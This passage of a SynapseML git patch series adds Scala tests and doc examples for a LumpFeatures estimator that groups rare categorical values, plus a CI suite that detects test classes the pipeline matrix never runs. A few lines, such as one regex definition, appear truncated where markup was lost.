"apple|red")) + } + + test("stable ranking is count desc then value asc for ties") { + val model = new LumpFeatures().setLumpRules(Map("f1" -> 2)).fit(df) + assert(model.getKeptValues("f1") == Seq("apple", "banana")) + assert(dump(model.transform(df), Seq("f1")) == List(other, "apple", "apple", "apple", "banana")) + } + + test("rare and unseen non-null values map to the other bucket") { + val model = new LumpFeatures().setLumpRules(Map("f1" -> 1)).fit(df) + val scoring = Seq(("banana", "red"), ("durian", "red"), ("apple", "red")).toDF("f1", "f2") + assert(dump(model.transform(scoring), Seq("f1")) == List(other, other, "apple")) + } + + test("handleNull keep preserves null; handleNull other maps null to otherValue") { + val dfN = Seq(("apple", "red"), ("apple", "red"), (null, "red"), ("banana", "red")) + .toDF("f1", "f2") + val keepModel = new LumpFeatures().setLumpRules(Map("f1" -> 1)).setHandleNull("keep").fit(dfN) + assert(dump(keepModel.transform(dfN), Seq("f1")) == List("", other, "apple", "apple")) + val otherModel = new LumpFeatures().setLumpRules(Map("f1" -> 1)).setHandleNull("other").fit(dfN) + assert(dump(otherModel.transform(dfN), Seq("f1")) == List(other, other, "apple", "apple")) + } + + test("all-null column yields empty learned levels and maps values accordingly") { + val dfAllNull = Seq((null.asInstanceOf[String], "red"), (null.asInstanceOf[String], "blue")) + .toDF("f1", "f2") + val model = new LumpFeatures().setLumpRules(Map("f1" -> 2)).setHandleNull("keep").fit(dfAllNull) + assert(model.getKeptValues("f1").isEmpty) + assert(dump(model.transform(dfAllNull), Seq("f1")) == List("", "")) + val scoring = Seq(("zebra", "red")).toDF("f1", "f2") + assert(dump(model.transform(scoring), Seq("f1")) == List(other)) + } + + test("empty learned levels via manually constructed model maps all non-null to otherValue") { + val model = new LumpFeaturesModel() + .setLumpRules(Map("f1" -> 2)) + .setKeptValuesJson(Map("f1" -> "{\"topK\":2,\"values\":[]}")) + .setHandleNull("keep") + assert(dump(model.transform(df), Seq("f1")) == List(other, other, other, other, other)) + } + + test("fit rejects otherValue collision even when the value is rare") { + val dfCollide = Seq(("apple", "red"), ("apple", "red"), (other, "blue")).toDF("f1", "f2") + val ex = intercept[IllegalArgumentException] { + new LumpFeatures().setLumpRules(Map("f1" -> 1)).fit(dfCollide) + } + assert(ex.getMessage.toLowerCase.contains("othervalue")) + } + + test("fitted model rejects direct otherValue mutation to an observed non-retained category") { + val model = new LumpFeatures().setLumpRules(Map("f1" -> 1)).fit(df) + assert(model.getKeptValues("f1") == Seq("apple")) + val ex = intercept[IllegalArgumentException] { model.setOtherValue("banana") } + assert(ex.getMessage.toLowerCase.contains("othervalue")) + assert(model.getOtherValue == other) + assert(dump(model.transform(df), Seq("f1")) == List(other, other, "apple", "apple", "apple")) + } + + test("generic otherValue Param mutation is rejected and leaves the fitted model unchanged") { + val model = new LumpFeatures().setLumpRules(Map("f1" -> 1)).fit(df) + val ex = intercept[IllegalArgumentException] { + model.set(model.otherValue, "banana") + } + assert(ex.getMessage.toLowerCase.contains("othervalue")) + assert(model.getOtherValue == other) + assert(dump(model.transform(df), Seq("f1")) == List(other, other, "apple", "apple", "apple")) + } + + test("generic clear and mutation cannot remove or corrupt fitted learned state") { + val model = new LumpFeatures() + .setLumpRules(Map("f1" -> 1)) + .setOtherValue("fallback") + .fit(df) + val learned = model.getKeptValuesJson + + intercept[IllegalArgumentException] { model.clear(model.getParam("keptValuesJson")) } + assert(model.getKeptValuesJson == learned) + + intercept[IllegalArgumentException] { model.set(model.keptValuesJson, Map.empty[String, String]) } + assert(model.getKeptValuesJson == learned) + + intercept[IllegalArgumentException] { model.clear(model.otherValue) } + assert(model.getOtherValue == "fallback") + intercept[IllegalArgumentException] { model.setOtherValue("banana") } + } + + test("fit validates rules, K, column names, presence and string type") { + intercept[IllegalArgumentException] { + new LumpFeatures().setLumpRules(Map.empty[String, Int]).fit(df) + } + intercept[IllegalArgumentException] { + new LumpFeatures().fit(df) + } + intercept[IllegalArgumentException] { + new LumpFeatures().setLumpRules(Map("f1" -> 0)).fit(df) + } + intercept[IllegalArgumentException] { + new LumpFeatures().setLumpRules(Map("f1" -> -3)).fit(df) + } + intercept[IllegalArgumentException] { + new LumpFeatures().setLumpRules(Map("" -> 1)).fit(df) + } + intercept[IllegalArgumentException] { + new LumpFeatures().setLumpRules(Map("missing" -> 1)).fit(df) + } + val dfInt = Seq(("apple", 1), ("banana", 2)).toDF("f1", "n") + intercept[IllegalArgumentException] { + new LumpFeatures().setLumpRules(Map("n" -> 1)).fit(dfInt) + } + } + + test("model validates state and rule consistency") { + val mismatch = new LumpFeaturesModel() + .setLumpRules(Map("f1" -> 1)) + .setKeptValuesJson(Map("f2" -> "{\"topK\":1,\"values\":[\"red\"]}")) + intercept[IllegalArgumentException] { mismatch.transform(df).collect() } + val tooMany = new LumpFeaturesModel() + .setLumpRules(Map("f1" -> 1)) + .setKeptValuesJson(Map("f1" -> "{\"topK\":1,\"values\":[\"apple\",\"banana\"]}")) + intercept[IllegalArgumentException] { tooMany.transform(df).collect() } + } + + test("schema matches transform exactly with cleared metadata and correct nullability") { + val schema = StructType(Seq( + StructField("f1", StringType, nullable = true), + StructField("f2", StringType, nullable = true), + StructField("keep_me", IntegerType, nullable = false))) + val rows = Seq(Row("apple", "red", 1), Row("banana", "red", 2), Row(null, "blue", 3)) + val md = new MetadataBuilder().putString("foo", "bar").build() + val base = spark.createDataFrame(rows.asJava, schema) + val dfMeta = base.withColumn("f1", col("f1").as("f1", md)) + + val keepModel = new LumpFeatures().setLumpRules(Map("f1" -> 1)).setHandleNull("keep").fit(dfMeta) + val declaredKeep = keepModel.transformSchema(dfMeta.schema) + assert(declaredKeep == keepModel.transform(dfMeta).schema) + assert(declaredKeep.fieldNames.toSeq == Seq("f1", "f2", "keep_me")) + assert(declaredKeep("f1").dataType == StringType) + assert(declaredKeep("f1").nullable) + assert(declaredKeep("f1").metadata == Metadata.empty) + assert(declaredKeep("f2") == dfMeta.schema("f2")) + assert(declaredKeep("keep_me") == dfMeta.schema("keep_me")) + assert(keepModel.transform(dfMeta).schema("f1").metadata == Metadata.empty) + + val otherModel = new LumpFeatures().setLumpRules(Map("f1" -> 1)).setHandleNull("other").fit(dfMeta) + val declaredOther = otherModel.transformSchema(dfMeta.schema) + assert(declaredOther == otherModel.transform(dfMeta).schema) + assert(!declaredOther("f1").nullable) + } + + test("estimator and model copy preserve parameters and learned state") { + val est = new LumpFeatures().setLumpRules(Map("f1" -> 1)).setOtherValue("X").setHandleNull("other") + val estCopy = est.copy(new ParamMap()) + assert(estCopy.getLumpRules == Map("f1" -> 1)) + assert(estCopy.getOtherValue == "X") + assert(estCopy.getHandleNull == "other") + val model = est.fit(df) + val modelCopy = model.copy(new ParamMap()) + assert(modelCopy.getKeptValues == model.getKeptValues) + assert(modelCopy.getOtherValue == "X") + assert(modelCopy.getHandleNull == "other") + assert(modelCopy.getLumpRules == Map("f1" -> 1)) + } + + test("legacy JSON-string and Java HashMap setters populate lumpRules") { + val fromJson = new LumpFeatures().setLumpRules("{\"f1\":2,\"f2\":1}") + assert(fromJson.getLumpRules == Map("f1" -> 2, "f2" -> 1)) + val jmap = new java.util.HashMap[String, Int]() + jmap.put("f1", 3) + val fromJava = new LumpFeatures().setLumpRules(jmap) + assert(fromJava.getLumpRules == Map("f1" -> 3)) + } + + test("persisted learned values survive arbitrary strings round-trip") { + val weird = Seq( + ("a\"b", "x"), + ("[bracket]", "x"), + ("\u00fcn\u00eecod\u00e9", "x"), + ("with,comma", "x"), + ("back\\slash", "x"), + ("a\"b", "y") + ).toDF("f1", "f2") + val model = new LumpFeatures().setLumpRules(Map("f1" -> 10)).fit(weird) + val path = new File(tmpDir.toFile, "lump-weird").toString + model.write.overwrite().save(path) + val loaded = LumpFeaturesModel.load(path) + assert(loaded.getKeptValues("f1").toSet == + Set("a\"b", "[bracket]", "\u00fcn\u00eecod\u00e9", "with,comma", "back\\slash")) + assertDFEq(model.transform(weird), loaded.transform(weird)) + } + + private def bq(name: String): Column = col("`" + name.replace("`", "``") + "`") + + private def dumpQ(data: DataFrame, cols: Seq[String]): List[String] = { + val projected = data.select(cols.map(bq): _*) + projected.collect().map { r => + cols.indices.map(i => if (r.isNullAt(i)) "" else r.get(i).toString).mkString("|") + }.sorted.toList + } + + test("rule columns named count, dotted, and embedded-backtick fit and transform correctly") { + val specialDf = Seq( + ("apple", "red", "x"), + ("apple", "red", "x"), + ("apple", "blue", "y"), + ("banana", "red", "x") + ).toDF("count", "a.b", "a`b") + val rules = Map("count" -> 1, "a.b" -> 1, "a`b" -> 1) + val model = new LumpFeatures().setLumpRules(rules).fit(specialDf) + assert(model.getKeptValues("count") == Seq("apple")) + assert(model.getKeptValues("a.b") == Seq("red")) + assert(model.getKeptValues("a`b") == Seq("x")) + val out = model.transform(specialDf) + assert(out.columns.toSeq == Seq("count", "a.b", "a`b")) + assert(dumpQ(out, Seq("count")) == List(other, "apple", "apple", "apple")) + assert(dumpQ(out, Seq("a.b")) == List(other, "red", "red", "red")) + assert(dumpQ(out, Seq("a`b")) == List(other, "x", "x", "x")) + val collideDf = Seq(("apple", "red", "x"), (other, "blue", "y")).toDF("count", "a.b", "a`b") + val ex = intercept[IllegalArgumentException] { + new LumpFeatures().setLumpRules(Map("count" -> 1)).fit(collideDf) + } + assert(ex.getMessage.toLowerCase.contains("othervalue")) + } + + test("fitted model rejects increasing or decreasing K even when distinct values are fewer than K") { + val twoDistinct = Seq(("apple", "x"), ("apple", "x"), ("banana", "x")).toDF("f1", "f2") + val model = new LumpFeatures().setLumpRules(Map("f1" -> 3)).fit(twoDistinct) + assert(model.getKeptValues("f1") == Seq("apple", "banana")) + intercept[IllegalArgumentException] { model.setLumpRules(Map("f1" -> 5)) } + intercept[IllegalArgumentException] { model.setLumpRules(Map("f1" -> 2)) } + assert(model.getLumpRules == Map("f1" -> 3)) + assert(model.getKeptValues("f1") == Seq("apple", "banana")) + } + + test("setting the exact fitted lumpRules map on a fitted model is an allowed no-op") { + val model = new LumpFeatures().setLumpRules(Map("f1" -> 1, "f2" -> 1)).fit(df) + val before = dump(model.transform(df), Seq("f1", "f2")) + val returned = model.setLumpRules(Map("f1" -> 1, "f2" -> 1)) + assert(returned.getLumpRules == Map("f1" -> 1, "f2" -> 1)) + assert(dump(model.transform(df), Seq("f1", "f2")) == before) + } + + test("loaded model and its copy retain immutable fitted rules and reject incompatible changes") { + val model = new LumpFeatures().setLumpRules(Map("f1" -> 1, "f2" -> 1)).fit(df) + val path = new File(tmpDir.toFile, "lump-immutable").toString + model.write.overwrite().save(path) + val loaded = LumpFeaturesModel.load(path) + assert(loaded.getLumpRules == Map("f1" -> 1, "f2" -> 1)) + assert(loaded.getKeptValues == model.getKeptValues) + assertDFEq(loaded.transform(df), model.transform(df)) + intercept[IllegalArgumentException] { loaded.setLumpRules(Map("f1" -> 2, "f2" -> 1)) } + val copied = loaded.copy(new ParamMap()) + assert(copied.getKeptValues == model.getKeptValues) + assert(copied.getLumpRules == Map("f1" -> 1, "f2" -> 1)) + intercept[IllegalArgumentException] { copied.setLumpRules(Map("f1" -> 3, "f2" -> 1)) } + } + + test("copy with an incompatible lumpRules ParamMap override is rejected") { + val model = new LumpFeatures().setLumpRules(Map("f1" -> 1)).fit(df) + val incompatible = new ParamMap().put(model.lumpRules, Map("f1" -> 5)) + intercept[IllegalArgumentException] { model.copy(incompatible) } + val same = new ParamMap().put(model.lumpRules, Map("f1" -> 1)) + val copied = model.copy(same) + assert(copied.getLumpRules == Map("f1" -> 1)) + assert(copied.getKeptValues == model.getKeptValues) + } + + test("copy rejects forged learned state, otherValue, and rules atomically but accepts identical state") { + val model = new LumpFeatures().setLumpRules(Map("f1" -> 1)).fit(df) + val learned = model.getKeptValuesJson + val before = dump(model.transform(df), Seq("f1")) + + val incompatibleOther = new ParamMap().put(model.otherValue, "banana") + intercept[IllegalArgumentException] { model.copy(incompatibleOther) } + + val incompatibleRules = new ParamMap().put(model.lumpRules, Map("f1" -> 2)) + intercept[IllegalArgumentException] { model.copy(incompatibleRules) } + + val forged = learned.updated("f1", LumpFeaturesModel.encodeKept(1, Seq("banana"), other)) + val forgedState = new ParamMap().put(model.keptValuesJson, forged) + intercept[IllegalArgumentException] { model.copy(forgedState) } + + val missingState = new ParamMap().put(model.keptValuesJson, Map.empty[String, String]) + intercept[IllegalArgumentException] { model.copy(missingState) } + + val identicalState = new ParamMap().put(model.keptValuesJson, learned) + val copied = model.copy(identicalState) + assert(copied.getKeptValuesJson == learned) + assertDFEq(copied.transform(df), model.transform(df)) + + assert(model.getOtherValue == other) + assert(model.getLumpRules == Map("f1" -> 1)) + assert(model.getKeptValuesJson == learned) + assert(dump(model.transform(df), Seq("f1")) == before) + } + + test("model-state validation rejects lumpRules mutated through the generic Param path") { + val model = new LumpFeatures().setLumpRules(Map("f1" -> 1)).fit(df) + model.set(model.lumpRules, Map("f1" -> 5)) + val ex = intercept[IllegalArgumentException] { model.transform(df).collect() } + assert(ex.getMessage.toLowerCase.contains("lumprules") || ex.getMessage.toLowerCase.contains("top-k")) + } + + test("fitted model setLumpRules overloads (Scala Map, Java HashMap, JSON string) all reject changes") { + def fitted(): LumpFeaturesModel = new LumpFeatures().setLumpRules(Map("f1" -> 1)).fit(df) + intercept[IllegalArgumentException] { fitted().setLumpRules(Map("f1" -> 2)) } + val jmap = new java.util.HashMap[String, Int]() + jmap.put("f1", 2) + intercept[IllegalArgumentException] { fitted().setLumpRules(jmap) } + intercept[IllegalArgumentException] { fitted().setLumpRules("{\"f1\":2}") } + } + + test("minCount lumps values below the count threshold before the top-K cap applies") { + val model = new LumpFeatures().setLumpRules(Map("f1" -> 3)).setMinCount(2).fit(df) + assert(model.getKeptValues("f1") == Seq("apple")) + assert(dump(model.transform(df), Seq("f1")) == List(other, other, "apple", "apple", "apple")) + } + + test("minFreq lumps values below the frequency share before the top-K cap applies") { + val model = new LumpFeatures().setLumpRules(Map("f1" -> 3)).setMinFreq(0.25).fit(df) + assert(model.getKeptValues("f1") == Seq("apple")) + val permissive = new LumpFeatures().setLumpRules(Map("f1" -> 3)).setMinFreq(0.15).fit(df) + assert(permissive.getKeptValues("f1") == Seq("apple", "banana", "cherry")) + } + + test("top-K still caps values that clear the frequency filters") { + val model = new LumpFeatures().setLumpRules(Map("f1" -> 1)).setMinCount(1).setMinFreq(0.1).fit(df) + assert(model.getKeptValues("f1") == Seq("apple")) + } + + test("frequency filters are per column and are computed against non-null rows only") { + val dfN = Seq(("apple", "red"), ("apple", "red"), (null, "red"), ("banana", "blue")) + .toDF("f1", "f2") + val model = new LumpFeatures().setLumpRules(Map("f1" -> 3, "f2" -> 3)).setMinFreq(0.5).fit(dfN) + // f1 has 3 non-null rows, so apple (2/3) clears 0.5 and banana (1/3) does not. + assert(model.getKeptValues("f1") == Seq("apple")) + // f2 has 4 non-null rows, so red (3/4) clears 0.5 and blue (1/4) does not. + assert(model.getKeptValues("f2") == Seq("red")) + } + + test("minCount and minFreq default to no-ops and reject out-of-range values") { + val est = new LumpFeatures().setLumpRules(Map("f1" -> 3)) + assert(est.getMinCount == 1) + assert(est.getMinFreq == 0.0) + intercept[IllegalArgumentException] { est.setMinCount(0) } + intercept[IllegalArgumentException] { est.setMinFreq(-0.1) } + intercept[IllegalArgumentException] { est.setMinFreq(1.1) } + assert(est.fit(df).getKeptValues("f1") == Seq("apple", "banana", "cherry")) + } + + test("multi-column fit agrees with fitting each column on its own") { + val rules = Map("f1" -> 2, "f2" -> 2) + val together = new LumpFeatures().setLumpRules(rules).fit(df).getKeptValues + rules.foreach { case (name, k) => + val alone = new LumpFeatures().setLumpRules(Map(name -> k)).fit(df).getKeptValues(name) + assert(together(name) == alone, s"column $name disagreed between joint and single-column fits") + } + } + + test("outputCols appends lumped columns and leaves the raw columns untouched") { + val model = new LumpFeatures() + .setLumpRules(Map("f1" -> 1)) + .setOutputCols(Map("f1" -> "f1_lumped")) + .fit(df) + val out = model.transform(df) + assert(out.columns.toSeq == Seq("f1", "f2", "f1_lumped")) + assert(dump(out, Seq("f1", "f1_lumped")) == List( + "apple|apple", "apple|apple", "apple|apple", s"banana|$other", s"cherry|$other")) + } + + test("outputCols mixes appended and in-place columns with a schema that matches transform") { + val model = new LumpFeatures() + .setLumpRules(Map("f1" -> 1, "f2" -> 1)) + .setOutputCols(Map("f2" -> "f2_lumped")) + .fit(df) + val declared = model.transformSchema(df.schema) + assert(declared == model.transform(df).schema) + assert(declared.fieldNames.toSeq == Seq("f1", "f2", "f2_lumped")) + assert(dump(model.transform(df), Seq("f2", "f2_lumped")) == List( + s"blue|$other", s"green|$other", "red|red", "red|red", "red|red")) + assert(dump(model.transform(df), Seq("f1")) == List(other, other, "apple", "apple", "apple")) + } + + test("outputCols rejects unknown sources, empty, duplicate, and pre-existing destinations") { + intercept[IllegalArgumentException] { + new LumpFeatures().setLumpRules(Map("f1" -> 1)).setOutputCols(Map("nope" -> "x")).fit(df) + } + intercept[IllegalArgumentException] { + new LumpFeatures().setLumpRules(Map("f1" -> 1)).setOutputCols(Map("f1" -> "")).fit(df) + } + intercept[IllegalArgumentException] { + new LumpFeatures().setLumpRules(Map("f1" -> 1, "f2" -> 1)) + .setOutputCols(Map("f1" -> "z", "f2" -> "z")).fit(df) + } + intercept[IllegalArgumentException] { + new LumpFeatures().setLumpRules(Map("f1" -> 1)).setOutputCols(Map("f1" -> "f2")).fit(df) + } + } + + test("outputCols survives fit, copy, and a save-load round-trip") { + val model = new LumpFeatures() + .setLumpRules(Map("f1" -> 1)) + .setOutputCols(Map("f1" -> "f1_lumped")) + .fit(df) + assert(model.getOutputCols == Map("f1" -> "f1_lumped")) + assert(model.copy(new ParamMap()).getOutputCols == Map("f1" -> "f1_lumped")) + val path = new File(tmpDir.toFile, "lump-outputcols").toString + model.write.overwrite().save(path) + val loaded = LumpFeaturesModel.load(path) + assert(loaded.getOutputCols == Map("f1" -> "f1_lumped")) + assertDFEq(loaded.transform(df), model.transform(df)) + } + + test("outputCols accepts the Java HashMap and JSON-string setter overloads") { + val jmap = new java.util.HashMap[String, String]() + jmap.put("f1", "f1_lumped") + assert(new LumpFeatures().setOutputCols(jmap).getOutputCols == Map("f1" -> "f1_lumped")) + val fromJson = new LumpFeatures().setOutputCols("{\"f1\":\"f1_lumped\"}") + assert(fromJson.getOutputCols == Map("f1" -> "f1_lumped")) + } + + test("estimator and model nullability follow handleNull even for a non-nullable input column") { + val schema = StructType(Seq(StructField("f1", StringType, nullable = false))) + val rows = Seq(Row("apple"), Row("apple"), Row("banana")) + val dfNN = spark.createDataFrame(rows.asJava, schema) + assert(!dfNN.schema("f1").nullable) + + val keepEstimator = new LumpFeatures().setLumpRules(Map("f1" -> 1)).setHandleNull("keep") + assert(keepEstimator.transformSchema(dfNN.schema)("f1").nullable) + val keepModel = keepEstimator.fit(dfNN) + val declaredKeep = keepModel.transformSchema(dfNN.schema) + assert(declaredKeep == keepModel.transform(dfNN).schema) + assert(declaredKeep("f1").nullable) + assert(dump(keepModel.transform(dfNN), Seq("f1")) == List(other, "apple", "apple")) + + val otherEstimator = new LumpFeatures().setLumpRules(Map("f1" -> 1)).setHandleNull("other") + assert(!otherEstimator.transformSchema(dfNN.schema)("f1").nullable) + val otherModel = otherEstimator.fit(dfNN) + val declaredOther = otherModel.transformSchema(dfNN.schema) + assert(declaredOther == otherModel.transform(dfNN).schema) + assert(!declaredOther("f1").nullable) + assert(dump(otherModel.transform(dfNN), Seq("f1")) == List(other, "apple", "apple")) + } + + test("fit-time otherValue survives save-load and protects observed non-retained categories") { + val fallback = "fallback" + val model = new LumpFeatures().setLumpRules(Map("f1" -> 1)).setOtherValue(fallback).fit(df) + val path = new File(tmpDir.toFile, "lump-fitted-other").toString + model.write.overwrite().save(path) + val loaded = LumpFeaturesModel.load(path) + val state = loaded.getKeptValuesJson("f1").parseJson.asJsObject.fields + assert(state("otherValue") == JsString(fallback)) + assert(!loaded.hasParam("fittedOtherValue")) + assert(loaded.getKeptValues("f1") == Seq("apple")) + intercept[IllegalArgumentException] { loaded.setOtherValue("banana") } + intercept[IllegalArgumentException] { loaded.set(loaded.otherValue, "banana") } + assert(loaded.getOtherValue == fallback) + assertDFEq(loaded.transform(df), model.transform(df)) + } + + test("loading legacy model state initializes and enforces the fitted otherValue") { + val legacy = new LumpFeaturesModel() + .setLumpRules(Map("f1" -> 1)) + .setOtherValue("fallback") + .setKeptValuesJson(Map("f1" -> "{\"topK\":1,\"values\":[\"apple\"]}")) + assert(!legacy.getKeptValuesJson("f1").parseJson.asJsObject.fields.contains("otherValue")) + val path = new File(tmpDir.toFile, "lump-legacy-other").toString + legacy.write.overwrite().save(path) + val loaded = LumpFeaturesModel.load(path) + val upgraded = loaded.getKeptValuesJson("f1").parseJson.asJsObject.fields + assert(upgraded("otherValue") == JsString("fallback")) + intercept[IllegalArgumentException] { loaded.setOtherValue("banana") } + intercept[IllegalArgumentException] { loaded.clear(loaded.getParam("keptValuesJson")) } + assert(loaded.getOtherValue == "fallback") + } + + test("getKeptValuesAsJson gives language wrappers one document with the learned values") { + val model = new LumpFeatures().setLumpRules(Map("f1" -> 2, "f2" -> 1)).fit(df) + val expected = """{"f1":["apple","banana"],"f2":["red"]}""" + assert(model.getKeptValuesAsJson.parseJson == expected.parseJson) + val dfAllNull = Seq((null.asInstanceOf[String], "red")).toDF("f1", "f2") + val empty = new LumpFeatures().setLumpRules(Map("f1" -> 2)).fit(dfAllNull) + assert(empty.getKeptValuesAsJson.parseJson == """{"f1":[]}""".parseJson) + } + + override def testObjects(): Seq[TestObject[LumpFeatures]] = Seq( + new TestObject(new LumpFeatures().setLumpRules(Map("f1" -> 1, "f2" -> 1)), df)) + + override def reader: MLReadable[_] = LumpFeatures + + override def modelReader: MLReadable[_] = LumpFeaturesModel + +} + +/** Dedicated fuzzing suite for [[LumpFeaturesModel]]. LumpFeatures serializes fitted models, so the + * model needs its own Experiment/Serialization/Python/R fuzzer coverage. The estimator suite only + * registers a fuzzer for the estimator type, which left the model without any discovered fuzzer. + * The test object is a valid, manually constructed persisted model (learned levels supplied directly) + * paired with a deterministic input DataFrame. + */ +class LumpFeaturesModelSuite extends TransformerFuzzing[LumpFeaturesModel] with LumpFeaturesTestData { + + private def persistedModel: LumpFeaturesModel = new LumpFeaturesModel() + .setLumpRules(Map("f1" -> 1, "f2" -> 1)) + .setOtherValue(other) + .setKeptValuesJson(Map( + "f1" -> LumpFeaturesModel.encodeKept(1, Seq("apple"), other), + "f2" -> LumpFeaturesModel.encodeKept(1, Seq("red"), other))) + .setHandleNull("keep") + + test("manually constructed model retains learned values and lumps the rest deterministically") { + val out = persistedModel.transform(df) + assert(out.columns.toSeq == Seq("f1", "f2")) + assert(dump(out, Seq("f1", "f2")) == List( + s"$other|$other", s"$other|red", s"apple|$other", "apple|red", "apple|red")) + } + + override def testObjects(): Seq[TestObject[LumpFeaturesModel]] = + Seq(new TestObject(persistedModel, df)) + + override def reader: MLReadable[_] = LumpFeaturesModel + +} diff --git a/docs/Quick Examples/estimators/core/_Stages.md b/docs/Quick Examples/estimators/core/_Stages.md index 853a2a35d14..86e43893ee3 100644 --- a/docs/Quick Examples/estimators/core/_Stages.md +++ b/docs/Quick Examples/estimators/core/_Stages.md @@ -73,6 +73,80 @@ csharp="classSynapse_1_1ML_1_1Stages_1_1ClassBalancer.html" sourceLink="https://github.com/microsoft/SynapseML/blob/master/core/src/main/scala/com/microsoft/azure/synapse/ml/stages/ClassBalancer.scala" /> +### LumpFeatures + + + + + + +```python +from synapse.ml.stages import * + +df = (spark.createDataFrame([ + ("apple", "red"), + ("apple", "red"), + ("apple", "blue"), + ("banana", "red"), + ("banana", "green"), + ("cherry", "green") + ], ["fruit", "color"])) + +lumper = (LumpFeatures() + .setLumpRules({"fruit": 3, "color": 3}) + .setMinCount(2) + .setOutputCols({"fruit": "fruit_lumped", "color": "color_lumped"})) + +model = lumper.fit(df) + +# cherry and blue occur once, so minCount drops them before the top-K cap is reached +print(model.getKeptValues()) + +model.transform(df).show() +``` + + + + +```scala +import com.microsoft.azure.synapse.ml.stages._ + +val df = Seq( + ("apple", "red"), + ("apple", "red"), + ("apple", "blue"), + ("banana", "red"), + ("banana", "green"), + ("cherry", "green")).toDF("fruit", "color") + +val lumper = (new LumpFeatures() + .setLumpRules(Map("fruit" -> 3, "color" -> 3)) + .setMinCount(2) + .setOutputCols(Map("fruit" -> "fruit_lumped", "color" -> "color_lumped"))) + +val model = lumper.fit(df) + +// cherry and blue occur once, so minCount drops them before the top-K cap is reached +println(model.getKeptValues) + +model.transform(df).show() +``` + + + + + + + ### MultiColumnAdapter Date: Tue, 11 Aug 2026 10:26:50 -0700 Subject: [PATCH 41/93] ci: run the 17 test suites the UnitTests matrix never selected (#2622) --- .../pipeline/PipelineTestCoverageSuite.scala | 174 ++++++++++++++++++ pipeline.yaml | 15 ++ 2 files changed, 189 insertions(+) create mode 100644 core/src/test/scala/com/microsoft/azure/synapse/ml/core/test/pipeline/PipelineTestCoverageSuite.scala diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/core/test/pipeline/PipelineTestCoverageSuite.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/core/test/pipeline/PipelineTestCoverageSuite.scala new file mode 100644 index 00000000000..0b2e370af65 --- /dev/null +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/core/test/pipeline/PipelineTestCoverageSuite.scala @@ -0,0 +1,174 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.core.test.pipeline + +import com.microsoft.azure.synapse.ml.build.BuildInfo +import com.microsoft.azure.synapse.ml.core.env.StreamUtilities.usingSource +import org.scalatest.funsuite.AnyFunSuite + +import java.io.File +import scala.annotation.tailrec +import scala.io.Source + +/** + * Guards against test suites that silently never run in CI. + * + * The UnitTests matrix runs `testOnly com.microsoft.azure.synapse.ml.$PACKAGE.**` unless a leg + * overrides it with an explicit TEST_CLASSES list. A suite in a package no leg names is not + * reported as skipped -- it simply never executes, and the build stays green. + */ +class PipelineTestCoverageSuite extends AnyFunSuite { + + private val rootPackage = "com.microsoft.azure.synapse.ml" + + /** Suite name prefixes launched by their own pipeline stages rather than the UnitTests matrix. */ + private val dedicatedStageSuites = Seq( + "nbtest.DatabricksCPUTests", + "nbtest.DatabricksGPUTests", + "nbtest.DatabricksRapidsTests", + "nbtest.SynapseTests", + "nbtest.FabricNotebookTests", + "nbtest.FabricSmokeTests", + "nbtest.FabricTestCleanup", + "nbtest.SynapseTestCleanup" + ).map(suffix => s"$rootPackage.$suffix") + + /** + * ScalaTest entry points. Anything extending these, directly or transitively, is a suite. + * The `*Like` traits are separate entry points, not subtypes of the classes, so both spellings + * are needed -- `AnalyzeTextLROSuite` extends `AnyFunSuiteLike` directly. + */ + private val scalaTestBaseTypes: Set[String] = { + val styles = Set("Suite", "FunSuite", "FlatSpec", "WordSpec", "FreeSpec", "PropSpec", "FeatureSpec", "FunSpec") + val spellings = styles ++ styles.map("Any" + _) + spellings ++ spellings.map(_ + "Like") + "TestSuite" + "TestSuiteLike" + } + + private val repoRoot: File = BuildInfo.baseDirectory.getParentFile + + private def readFile(file: File): String = + usingSource(Source.fromFile(file, "UTF-8"))(_.mkString).get + + private def scalaFilesUnder(dir: File): Seq[File] = { + if (!dir.isDirectory) Seq.empty + else Option(dir.listFiles()).toSeq.flatten.flatMap { child => + if (child.isDirectory) scalaFilesUnder(child) + else if (child.getName.endsWith(".scala")) Seq(child) + else Seq.empty + } + } + + private def testSourceFiles: Seq[File] = + Option(repoRoot.listFiles()).toSeq.flatten + .filter(_.isDirectory) + .flatMap(module => scalaFilesUnder(new File(module, "src/test/scala"))) + + private case class Declaration(name: String, parents: Seq[String], isConcreteClass: Boolean) + + /** + * Declarations routinely wrap, e.g. `class Foo(bar: String)\n extends TestBase`, so match + * against a whitespace-flattened copy of the source. The segment between the name and + * `extends` may not cross another declaration keyword, which keeps a class without an + * `extends` clause from borrowing the next declaration's parents. + */ + private val declarationPattern = + raw"(? + val parents = m.group(4) + .split("\\bwith\\b") + .map(_.trim.takeWhile(c => c.isLetterOrDigit || c == '.' || c == '_')) + .map(name => name.split('.').lastOption.getOrElse(name)) + .filter(_.nonEmpty) + .toSeq + Declaration(m.group(2), parents, m.group(1) == "class" || m.group(1) == "case class") + }.toSeq + } + + /** Walks the local extends graph so suites are found by ancestry, not by naming convention. */ + private def suiteTypeNames(declarations: Seq[Declaration]): Set[String] = { + val parentsByName = declarations.groupBy(_.name).map { + case (name, decls) => name -> decls.flatMap(_.parents).toSet + } + @tailrec + def expand(known: Set[String]): Set[String] = { + val grown = known ++ parentsByName.collect { case (name, parents) if parents.exists(known) => name } + if (grown.size == known.size) known else expand(grown) + } + expand(scalaTestBaseTypes) + } + + private def matrixSpecs(pipeline: String): Seq[String] = { + val unitTestsJob = pipeline.split(raw"(?m)^- job: ") + .find(_.startsWith("UnitTests")) + .getOrElse(fail("Could not locate the UnitTests job in pipeline.yaml")) + val matrixBlock = unitTestsJob.split(raw"(?m)^ steps:").head + + // Anchor each package segment so the trailing ".**" is not swallowed by the segment matcher. + val fromTestClasses = raw"$rootPackage(?:\.\w+)*(?:\.\*\*)?".r.findAllIn(matrixBlock).toSeq + // A leg with TEST_CLASSES ignores its PACKAGE, so a package glob only counts when that leg + // does not also pin an explicit class list. + val fromPackages = matrixBlock.split(raw"(?m)^ \w+:") + .filterNot(_.contains("TEST_CLASSES:")) + .flatMap { leg => + raw"""PACKAGE:\s*"([\w.]+)"""".r.findAllMatchIn(leg).map(m => s"$rootPackage.${m.group(1)}.**") + }.toSeq + + (fromTestClasses ++ fromPackages).distinct + } + + private def isCovered(fqcn: 